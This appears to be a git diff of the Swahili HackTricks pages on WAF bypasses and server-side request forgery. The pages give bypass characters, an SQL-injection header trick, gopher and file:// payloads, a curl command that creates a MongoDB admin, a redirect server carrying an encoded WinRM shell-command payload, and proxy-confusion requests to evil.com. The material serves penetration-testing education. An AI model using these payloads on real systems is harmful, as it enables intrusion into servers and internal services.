+| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
+
+### **Flask**
+
+| Nginx Version | **Flask Bypass Characters** |
+| ------------- | -------------------------------------------------------------- |
+| 1.22.0 | `\x85`, `\xA0` |
+| 1.21.6 | `\x85`, `\xA0` |
+| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
+| 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
+| 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
+
+### **Spring Boot**
+
+| Nginx Version | **Spring Boot Bypass Characters** |
+| ------------- | --------------------------------- |
+| 1.22.0 | `;` |
+| 1.21.6 | `;` |
+| 1.20.2 | `\x09`, `;` |
+| 1.18.0 | `\x09`, `;` |
+| 1.16.1 | `\x09`, `;` |
+
+### **PHP-FPM**
+
+Mipangilio ya Nginx FPM:
+```plaintext
+location = /admin.php {
+deny all;
+}
+
+location ~ \.php$ {
+include snippets/fastcgi-php.conf;
+fastcgi_pass unix:/run/php/php8.1-fpm.sock;
+}
+```
+Nginx imeboreshwa kuzuia ufikiaji wa `/admin.php` lakini inawezekana kuidanganya kwa kufikia `/admin.php/index.php`.
+
+### Jinsi ya kuzuia
+```plaintext
+location ~* ^/admin {
+deny all;
+}
+```
+## Kupita Sheria za Mod Usalama
+
+### Kupotosha Njia
+
+[Katika chapisho hili](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) imeelezwa kuwa ModSecurity v3 (hadi 3.0.12), **ilitekelezwa vibaya kwa kipengele cha `REQUEST_FILENAME`** ambacho kilipaswa kuwa na njia iliyofikiwa (hadi mwanzo wa vigezo). Hii ni kwa sababu ilifanya URL decode kupata njia.\
+Kwa hivyo, ombi kama `http://example.com/foo%3f';alert(1);foo=` katika mod usalama itadhani kuwa njia ni `/foo` kwa sababu `%3f` inabadilishwa kuwa `?` ikimaliza njia ya URL, lakini kwa kweli njia ambayo seva itapokea itakuwa `/foo%3f';alert(1);foo=`.
+
+Vipengele `REQUEST_BASENAME` na `PATH_INFO` pia vilikuwa vimeathiriwa na kosa hili.
+
+Kitu kama hicho kilitokea katika toleo la 2 la Mod Security ambalo liliruhusu kukiuka ulinzi uliokuwa unazuia mtumiaji kupata faili zenye viendelezi maalum vinavyohusiana na faili za nakala za akiba (kama vile `.bak`) kwa kutuma tu dot URL encoded katika `%2e`, kwa mfano: `https://example.com/backup%2ebak`.
+
+## Kupita AWS WAF ACL
+
+### Kichwa Kilichoharibika
+
+[Utafiti huu](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) unataja kuwa ilikuwa inawezekana kukiuka sheria za AWS WAF zilizotumika kwenye vichwa vya HTTP kwa kutuma kichwa "kilichoharibika" ambacho hakikuwa kimechambuliwa ipasavyo na AWS lakini kilikuwa na seva ya nyuma.
+
+Kwa mfano, kutuma ombi lifuatalo lenye sindano ya SQL kwenye kichwa X-Query:
+```http
+GET / HTTP/1.1\r\n
+Host: target.com\r\n
+X-Query: Value\r\n
+\t' or '1'='1' -- \r\n
+Connection: close\r\n
+\r\n
+```
+Ilionekana kuwa inawezekana kudukua AWS WAF kwa sababu haingeweza kuelewa kuwa mstari ufuatao ni sehemu ya thamani ya kichwa wakati seva ya NODEJS ilifanya (hii ilisahihishwa).
+
+## Marejeo
+
+* [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
+* [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass)
-Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa nahtARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
+Jifunze kudukua AWS kutoka sifuri hadi shujaa nahtARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
-* Ikiwa unataka kuona **kampuni yako inayotangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
-* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
-* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Jiunge na** π¬ [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** π¦ [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
+* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
+* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
+* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
+* **Jiunge na** π¬ [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** π¦ [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
diff --git a/pentesting-web/ssrf-server-side-request-forgery/README.md b/pentesting-web/ssrf-server-side-request-forgery/README.md
index e7d0a6e28..0797f1971 100644
--- a/pentesting-web/ssrf-server-side-request-forgery/README.md
+++ b/pentesting-web/ssrf-server-side-request-forgery/README.md
@@ -24,7 +24,7 @@ Njia nyingine za kusaidia HackTricks:
## Taarifa Msingi
-Ugunduzi wa **Server-side Request Forgery (SSRF)** hutokea wakati muhusika anadanganya **programu upande wa seva** kufanya **ombi la HTTP** kwa kikoa wanachochagua. Udhaifu huu unafunua seva kwa maombi ya nje yasiyo na kizuizi yaliyoongozwa na muhusika.
+Ugunduzi wa **udhaifu wa Server-side Request Forgery (SSRF)** hutokea wakati muhusika anadanganya **programu upande wa seva** kufanya **ombi la HTTP** kwa kikoa wanachochagua. Udhaifu huu unafunua seva kwa maombi ya nje yasiyo na kizuizi yaliyoongozwa na muhusika.
## Kukamata SSRF
@@ -40,9 +40,9 @@ Jambo la kwanza unalohitaji kufanya ni kukamata mwingiliano wa SSRF uliozalishwa
* [https://github.com/stolenusername/cowitness](https://github.com/stolenusername/cowitness)
* [https://github.com/dwisiswant0/ngocok](https://github.com/dwisiswant0/ngocok) - Burp Collaborator inayotumia ngrok
-## Kupitisha Domains Zilizowekwa kwenye Orodha ya Kufanya
+## Kupitisha Domains Zilizowekwa kwenye Orodha nyeupe
-Kawaida utagundua kuwa SSRF inafanya kazi tu kwenye **vivinjari vya tovuti fulani vilivyowekwa kwenye orodha** au URL. Kwenye ukurasa unaofuata una **mkusanyiko wa mbinu za kujaribu kupitisha orodha hiyo**:
+Kawaida utagundua kuwa SSRF inafanya kazi tu kwenye **vikoa au URL vilivyoorodheshwa kwenye orodha nyeupe**. Kwenye ukurasa unaofuata una **mkusanyiko wa mbinu za kujaribu kupitisha orodha hiyo nyeupe**:
{% content-ref url="url-format-bypass.md" %}
[url-format-bypass.md](url-format-bypass.md)
@@ -58,13 +58,13 @@ Soma zaidi hapa: [https://portswigger.net/web-security/ssrf](https://portswigger
* **file://**
* Itifaki ya URL `file://` inaelekezwa, ikionyesha moja kwa moja kwa `/etc/passwd`: `file:///etc/passwd`
* **dict://**
-* Itifaki ya URL ya DICT inaelezwa kutumika kwa kupata ufafanuzi au orodha za maneno kupitia itifaki ya DICT. Mfano uliotolewa unadhihirisha URL iliyoundwa ikilenga neno, database, na nambari ya kuingia maalum, pamoja na mfano wa skripti ya PHP inayoweza kutumiwa vibaya kuunganisha kwenye seva ya DICT kwa kutumia sifa zilizotolewa na muhusika: `dict://;@:/d:::`
+* Itifaki ya URL ya DICT inaelezwa kutumika kwa kupata ufafanuzi au orodha za maneno kupitia itifaki ya DICT. Mfano uliotolewa unadhihirisha URL iliyoundwa ikilenga neno maalum, database, na nambari ya kuingia, pamoja na mfano wa skripti ya PHP inayoweza kutumiwa vibaya kuunganisha kwenye seva ya DICT kwa kutumia sifa zilizotolewa na muhusika: `dict://;@:/d:::`
* **SFTP://**
* Kutambuliwa kama itifaki ya uhamishaji salama wa faili kupitia ganda la usalama, mfano unatolewa ukionyesha jinsi skripti ya PHP inaweza kutumiwa kudukua kuunganisha kwenye seva mbaya ya SFTP: `url=sftp://generic.com:11111/`
* **TFTP://**
-* Itifaki ya Uhamishaji wa Faili Rahisi, ikifanya kazi kupitia UDP, inatajwa na mfano wa skripti ya PHP iliyoundwa kutuma ombi kwa seva ya TFTP. Ombi la TFTP linatolewa kwa 'generic.com' kwenye bandari '12346' kwa faili 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
+* Itifaki ya Uhamishaji wa Faili wa Trivial, ikifanya kazi kupitia UDP, inatajwa na mfano wa skripti ya PHP iliyoundwa kutuma ombi kwa seva ya TFTP. Ombi la TFTP linatolewa kwa 'generic.com' kwenye bandari '12346' kwa faili 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
* **LDAP://**
-* Sehemu hii inashughulikia Itifaki ya Upatikanaji wa Dhibiti wa Mwanga, ikisisitiza matumizi yake kwa usimamizi na upatikanaji wa huduma za habari za saraka zilizosambazwa kupitia mitandao ya IP. Kuwasiliana na seva ya LDAP kwenye localhost: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
+* Sehemu hii inashughulikia Itifaki ya Upatikanaji wa Dhibiti wa Mwongozo, ikisisitiza matumizi yake kwa usimamizi na upatikanaji wa huduma za habari za saraka zilizosambazwa kwenye mtandao wa IP. Kuwasiliana na seva ya LDAP kwenye localhost: `'%0astats%0aquit' kupitia ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
* **SMTP**
* Njia inaelezwa ya kutumia udhaifu wa SSRF kuingiliana na huduma za SMTP kwenye localhost, ikiwa ni pamoja na hatua za kufunua majina ya kikoa cha ndani na hatua zaidi za uchunguzi kulingana na habari hiyo.
```
@@ -80,12 +80,12 @@ From https://twitter.com/har1sec/status/1182255952055164929
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
```
* **Gopher://**
-* Uwezo wa itifaki ya Gopher wa kutaja IP, bandari, na baite kwa mawasiliano ya seva unajadiliwa, pamoja na zana kama Gopherus na remote-method-guesser kwa kutengeneza mizigo. Matumizi mawili tofauti yanaelezwa:
+* Uwezo wa itifaki ya Gopher wa kutaja IP, bandari, na baite kwa mawasiliano ya seva unajadiliwa, pamoja na zana kama Gopherus na remote-method-guesser kwa kutengeneza mizigo. Matumizi mawili tofauti yanafafanuliwa:
### Gopher://
Kwa kutumia itifaki hii unaweza kutaja **IP, bandari na baite** unazotaka seva itume. Kisha, unaweza kimsingi kutumia SSRF kuwasiliana na **seva yoyote ya TCP** (lakini unahitaji kujua jinsi ya kuzungumza na huduma kwanza).\
-Bahati nzuri, unaweza kutumia [Gopherus](https://github.com/tarunkant/Gopherus) kutengeneza mizigo kwa huduma kadhaa. Aidha, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) inaweza kutumika kutengeneza mizigo ya _gopher_ kwa huduma za _Java RMI_.
+Bahati nzuri, unaweza kutumia [Gopherus](https://github.com/tarunkant/Gopherus) kutengeneza mizigo kwa huduma kadhaa. Kwa kuongezea, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) inaweza kutumika kutengeneza mizigo ya _gopher_ kwa huduma za _Java RMI_.
**Gopher smtp**
```
@@ -119,7 +119,7 @@ https://example.com/?q=http://evil.com/redirect.php.
```
{% endcode %}
-#### Gopher MongoDB -- Unda mtumiaji mwenye jina la mtumiaji=admin na nywila=admin123 na kibali=msimamizi
+#### Gopher MongoDB -- Unda mtumiaji na jina la mtumiaji=admin na nywila=admin123 na kibali=msimamizi
```bash
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
@@ -130,11 +130,11 @@ curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
```
## SSRF kupitia kichwa cha Referrer & Wengine
-Programu za takwimu kwenye seva mara nyingi hurekodi kichwa cha Referrer kufuatilia viungo vinavyoingia, mazoezi ambayo kwa bahati mbaya hufunua programu kwa Vulnerabilities ya Server-Side Request Forgery (SSRF). Hii ni kwa sababu programu kama hizo zinaweza kutembelea URL za nje zilizotajwa kwenye kichwa cha Referrer kuchambua maudhui ya tovuti ya rufaa. Ili kugundua vulnerabilities hizi, programu-jalizi ya Burp Suite "**Collaborator Everywhere**" inapendekezwa, ikichangamkia njia ambayo zana za takwimu zinavyoprocess kichwa cha Referer kutambua maeneo ya mashambulizi ya SSRF yanayowezekana.
+Programu za takwimu kwenye seva mara nyingi hurekodi kichwa cha Referrer kufuatilia viungo vinavyoingia, mazoezi ambayo kwa bahati mbaya hufunua programu kwa Vulnerabilities ya Server-Side Request Forgery (SSRF). Hii ni kwa sababu programu kama hizo zinaweza kutembelea URL za nje zilizotajwa kwenye kichwa cha Referrer kuchambua maudhui ya tovuti ya rufaa. Ili kugundua Vulnerabilities hizi, programu-jalizi ya Burp Suite "**Collaborator Everywhere**" inapendekezwa, ikichangamana na jinsi zana za takwimu zinavyoprocess kichwa cha Referer kutambua maeneo ya mashambulizi ya SSRF yanayowezekana.
## SSRF kupitia data ya SNI kutoka kwa cheti
-Hitilafu ya usanidi inayoweza kuwezesha uhusiano kwa seva yoyote kupitia usanidi rahisi inaelezwa kwa mfano wa usanidi wa Nginx:
+Hitilafu ya usanidi inayoweza kuwezesha uhusiano kwa seva yoyote ya nyuma kupitia usanidi rahisi inaelezwa kwa mfano wa usanidi wa Nginx:
```
stream {
server {
@@ -145,7 +145,7 @@ ssl_preread on;
}
}
```
-Katika hali hii ya usanidi, thamani kutoka kwa uga wa Jina la Seva Indication (SNI) hutumiwa moja kwa moja kama anwani ya seva ya nyuma. Usanidi huu unafunua udhaifu wa Udukuzi wa Ombi la Seva-Upande (SSRF), ambao unaweza kutumiwa kwa kuelekeza tu anwani ya IP au jina la uwanja uliokusudiwa katika uga wa SNI. Mfano wa udanganyifu wa kushurutisha uhusiano kwa seva ya nyuma isiyojulikana, kama vile `internal.host.com`, kwa kutumia amri ya `openssl` umetolewa hapa chini:
+Katika hali hii ya usanidi, thamani kutoka kwa uga wa Jina la Seva Indication (SNI) hutumiwa moja kwa moja kama anwani ya nyuma. Usanidi huu unafunua udhaifu kwa Server-Side Request Forgery (SSRF), ambayo inaweza kutumiwa kwa kuelekeza tu anwani ya IP au jina la uwanja uliokusudiwa katika uga wa SNI. Mfano wa kutumia udhaifu huu kwa kushurutisha uhusiano kwa nyuma yoyote, kama vile `internal.host.com`, kwa kutumia amri ya `openssl` umeelezwa hapa chini:
```bash
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
```
@@ -171,7 +171,7 @@ Unda vikao kadhaa na jaribu kupakua faili nzito kwa kutumia udhaifu wa SSRF kuto
## SSRF Kuhamisha kwa Gopher
-Kwa baadhi ya uchimbaji unaweza kuhitaji **tuma jibu la kuhamisha** (labda kutumia itikio tofauti kama gopher). Hapa una nambari tofauti za python za kujibu kwa kuhamisha:
+Kwa baadhi ya uchimbaji unaweza kuhitaji **kupeleka jibu la kuhamisha** (labda kutumia itikio tofauti kama gopher). Hapa una nambari tofauti za python za kujibu kwa kuhamisha:
```python
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
@@ -181,9 +181,9 @@ class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
-```markdown
+```html
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20
-```python
+```plaintext
self.end_headers()
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
@@ -206,24 +206,96 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
\
-Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia workflows** kwa urahisi zinazotumia zana za **jamii ya juu zaidi** duniani.\
+Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia workflows** kwa urahisi zaidi zinazotumia zana za **jamii yenye maendeleo zaidi** duniani.\
Pata Ufikiaji Leo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+## Proksi zilizowekwa vibaya kwa SSRF
+
+Mbinu [**kutoka kwenye chapisho hili**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
+
+### Flask
+
+
+
+Msimbo hatari wa proksi ya Flask
+```python
+from flask import Flask
+from requests import get
+
+app = Flask('__main__')
+SITE_NAME = 'https://google.com'
+
+@app.route('/', defaults={'path': ''})
+@app.route('/')
+
+def proxy(path):
+return get(f'{SITE_NAME}{path}').content
+
+if __name__ == "__main__":
+app.run(threaded=False)
+```
+
+
+Flask inaruhusu kutumia **`@`** kama herufi ya kwanza, ambayo inaruhusu kufanya **jina la mwenyeji wa awali kuwa jina la mtumiaji** na kuingiza mpya. Ombi la shambulio:
+```http
+GET @evildomain.com/ HTTP/1.1
+Host: target.com
+Connection: close
+```
+### Spring Boot
+
+Msimbo wenye kasoro:
+
+
+
+Iligundulika kwamba ni **kawaida kuanza njia** ya ombi na herufi **`;`** ambayo inaruhusu kutumia **`@`** na kuingiza mwenyeji mpya kufikia. Ombi la shambulio:
+```http
+GET ;@evil.com/url HTTP/1.1
+Host: target.com
+Connection: close
+```
+### Seva ya Wavuti ya Kujengwa kwa PHP
+
+
+
+Msimbo wa PHP wenye Kasoro
+```php
+
+```
+
+
+PHP inaruhusu matumizi ya **herufi `*` kabla ya mshale katika njia** ya URL, hata hivyo, ina vizuizi vingine kama vile inaweza kutumika tu kwa jina la njia ya msingi `/` na kwamba vipande `.` haviruhusiwi kabla ya mshale wa kwanza, hivyo ni lazima kutumia anwani ya IP iliyo na hex bila ya vipande kama vile:
+```http
+GET *@0xa9fea9fe/ HTTP/1.1
+Host: target.com
+Connection: close
+```
## DNS Rebidding CORS/SOP bypass
-Ikiwa una **matatizo** ya **kutoa maudhui kutoka kwa IP ya ndani** kwa sababu ya **CORS/SOP**, **DNS Rebidding** inaweza kutumika kuvuka kizuizi hicho:
+Ikiwa una **matatizo** ya **kutoa maudhui kutoka kwa anwani ya IP ya ndani** kwa sababu ya **CORS/SOP**, **DNS Rebidding** inaweza kutumika kukiuka kizuizi hicho:
{% content-ref url="../cors-bypass.md" %}
[cors-bypass.md](../cors-bypass.md)
{% endcontent-ref %}
-### DNS Rebidding Otomatiki
+### DNS Rebidding ya Kiotomatiki
-[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) ni zana ya kufanya mashambulizi ya [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding). Inajumuisha vipengele vinavyohitajika kubadilisha anwani ya IP ya jina la DNS la seva ya shambulizi hadi anwani ya IP ya mashine ya lengo na kutumikia mizigo ya mashambulizi kudukua programu zinazoweza kudhurika kwenye mashine ya lengo.
+[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) ni chombo cha kufanya mashambulizi ya [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding). Inajumuisha vipengele vinavyohitajika kurejesha upya anwani ya IP ya seva ya shambulizi kwa anwani ya IP ya mashine ya lengo na kutumikia mizigo ya mashambulizi kudukua programu zinazoweza kudhuriwa kwenye mashine ya lengo.
-Tazama pia **seva inayofanya kazi hadharani** katika [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
+Tazama pia **seva inayofanya kazi hadharani katika** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
## DNS Rebidding + Kitambulisho cha Kikao cha TLS/Tiketi ya Kikao
@@ -235,26 +307,26 @@ Mahitaji:
Shambulio:
-1. Muulize mtumiaji/roboti **kufikia** **kikoa** kinachodhibitiwa na **mshambulizi**
+1. Muulize mtumiaji/roboti **kufikia** **kikoa** kinachodhibitiwa na **mshambuliaji**
2. **TTL** ya **DNS** ni **0** sec (hivyo muathiriwa atachunguza IP ya kikoa tena hivi karibuni)
-3. Uunganisho wa **TLS** unajengwa kati ya muathiriwa na kikoa cha mshambulizi. Mshambulizi anaingiza **mzigo ndani** ya **Kitambulisho cha Kikao au Tiketi ya Kikao**.
-4. **Kikoa** kitanzisha **mzunguko usio na mwisho** wa kuelekeza dhidi yake mwenyewe. Lengo la hili ni kufanya mtumiaji/roboti kufikia kikoa hadi itekeleze **tena** ombi la **DNS** la kikoa.
-5. Katika ombi la DNS anwani ya **IP ya kibinafsi** inatolewa **sasa** (k.m. 127.0.0.1)
-6. Mtumiaji/roboti atajaribu **kurejesha uhusiano wa TLS** na ili kufanya hivyo itatuma Kitambulisho cha **Kikao/Tiketi ya Kikao** (ambapo **mzigo** wa mshambulizi ulikuwa umefichwa). Hivyo pongezi umefanikiwa kuomba **mtumiaji/roboti ajidhuru mwenyewe**.
+3. Uunganisho wa **TLS** unajengwa kati ya muathiriwa na kikoa cha mshambuliaji. Mshambuliaji anaingiza **mzigo ndani** ya **Kitambulisho cha Kikao au Tiketi ya Kikao**.
+4. **Kikoa** kitanzisha **mzunguko usio na mwisho** wa kuelekeza dhidi yake **mwenyewe**. Lengo la hili ni kufanya mtumiaji/roboti afikie kikoa hadi itekeleze **tena** ombi la **DNS** la kikoa.
+5. Katika ombi la DNS anwani ya **IP ya kibinafsi** inatolewa **sasa** (kwa mfano 127.0.0.1)
+6. Mtumiaji/roboti atajaribu **kurejesha uunganisho wa TLS** na ili kufanya hivyo itatuma Kitambulisho cha **Kikao/Tiketi ya Kikao** (ambapo **mzigo** wa mshambuliaji ulikuwa umefichwa). Hivyo pongezi umefanikiwa kuomba **mtumiaji/roboti ajidhuru mwenyewe**.
-Kumbuka kwamba wakati wa shambulio hili, ikiwa unataka kushambulia localhost:11211 (_memcache_) unahitaji kufanya muathiriwa kuanzisha uhusiano wa awali na www.attacker.com:11211 (bandari ** lazima iwe sawa **).\
-Kwa **kutekeleza shambulio hili unaweza kutumia zana**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
-Kwa **maelezo zaidi** tazama mazungumzo ambapo shambulio hili linaelezewa: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference)
+Tafadhali kumbuka kwamba wakati wa shambulio hili, ikiwa unataka kushambulia localhost:11211 (_memcache_) unahitaji kufanya muathiriwa aweke uhusiano wa awali na www.attacker.com:11211 (bandari ** lazima iwe sawa daima**).\
+Kwa **kutekeleza shambulio hili unaweza kutumia chombo**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
